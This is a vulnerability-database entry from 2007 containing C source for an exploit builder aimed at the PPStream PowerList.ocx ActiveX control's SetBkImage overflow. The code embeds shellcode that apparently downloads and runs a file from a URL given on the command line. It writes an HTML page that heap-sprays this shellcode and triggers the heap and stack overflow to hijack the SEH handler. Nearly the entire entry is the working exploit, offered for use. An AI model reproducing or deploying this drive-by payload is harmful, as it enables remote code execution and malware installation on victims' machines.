PPStream 2.1.6.2916 PowerList.ocx SetBkImage Overwrite Exploit

2007-11-27T00:00:00
ID SSV:7515
Type seebug
Reporter Root
Modified 2007-11-27T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /*
PPStream
PowerList.ocx
2.1.6.2916

描述:
SetBkImage 堆和栈溢出, 还是以前的老问题。以前补的是PowerPlayer.dll中的

这里利用堆溢出和栈溢出,使用 CFindFile 对参数检查不严格,导致堆溢出。
在其析构时会导致异常,并且在析构之前发生了 strcat 导致栈溢出,覆盖掉
原来的 seh 处理程序

author: dummyz@126.com

2007-11-11
*/

#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdio.h>

const unsigned char shellcode[174] =
{
 // 必须是偶数大小
 0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A,
 0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00, 0x00, 0x36, 0x1A, 0x2F,
 0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F, 0xAF, 0x67, 0x64, 0xA1,
 0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08, 0x51, 0x8B, 0x75, 0x3C,
 0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5, 0x33, 0xC9, 0x49, 0x41,
 0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08, 0xC1, 0xCB, 0x0D, 0x03,
 0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24, 0x03, 0xDD, 0x66, 0x8B,
 0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0xAB, 0x59, 0xE2, 0xBC,
 0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF, 0xAF, 0x6A, 0x01, 0xEB,
 0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9, 0x4E, 0x10, 0x40, 0x00,
 0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57, 0xE8, 0x90
};

const char* script1 = \\
 \"<html><body><object id=\\\"ppc\\\" classid=\\\"clsid:20C2C286-BDE8-441B-B73D-AFA22D914DA5\\\"></object><script>\"
 \"var shellcode = unescape(\\\"\";
const char* script2 = \\
 \"\\\");\"
 \"fillblock = unescape(\\\"%u9090邐\\\");\"
 \"while ( fillblock.length < 0x30000 ) fillblock += fillblock;\"
 \"memory = new Array();\"
 \"for ( x = 0; x < 400; x++ ) memory[x] = fillblock + shellcode;\"
 \"var buffer = \'\\\\x0a\\\\x0a\\\\x0a\\\\x0a\';\"
 \"while (buffer.length < 300) buffer += \'\\\\x0a\\\\x0a\\\\x0a\\\\x0a\';\"
 \"ppc.SetBkImage(buffer);\"
 \"</script>\"
 \"</body>\"
 \"</html>\"
 \"</script>\"
 \"</body>\"
 \"</html>\";

int main(int argc, char* argv[])
{
 if ( argc != 2 )
 {
 printf(\"ex:fuckpps url\\nwritten by dummyz@126.com (2007)\\n\");
 return -1;
 }

 FILE *file = fopen(\"fuckpps.html\", \"w+\");
 if ( file == NULL )
 {
 printf(\"create \'fuckpps.html\' failed!\\n\");
 return -2;
 }

 fprintf(file, \"%s\", script1);
 for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )
 fprintf(file, \"%%u%02X%02X\" , shellcode[i + 1], shellcode[i]);
 
 const unsigned l = strlen(argv[1]);
 for ( unsigned j = 0; j < l; j += 2 )
 fprintf(file, \"%%u%02X%02X\" , argv[1][j + 1], argv[1][j]);

 fprintf(file, \"%s\", script2);
 fclose(file);

 printf(\"make \'fuckpps.html\' successed!\\n\");

 return 0;
}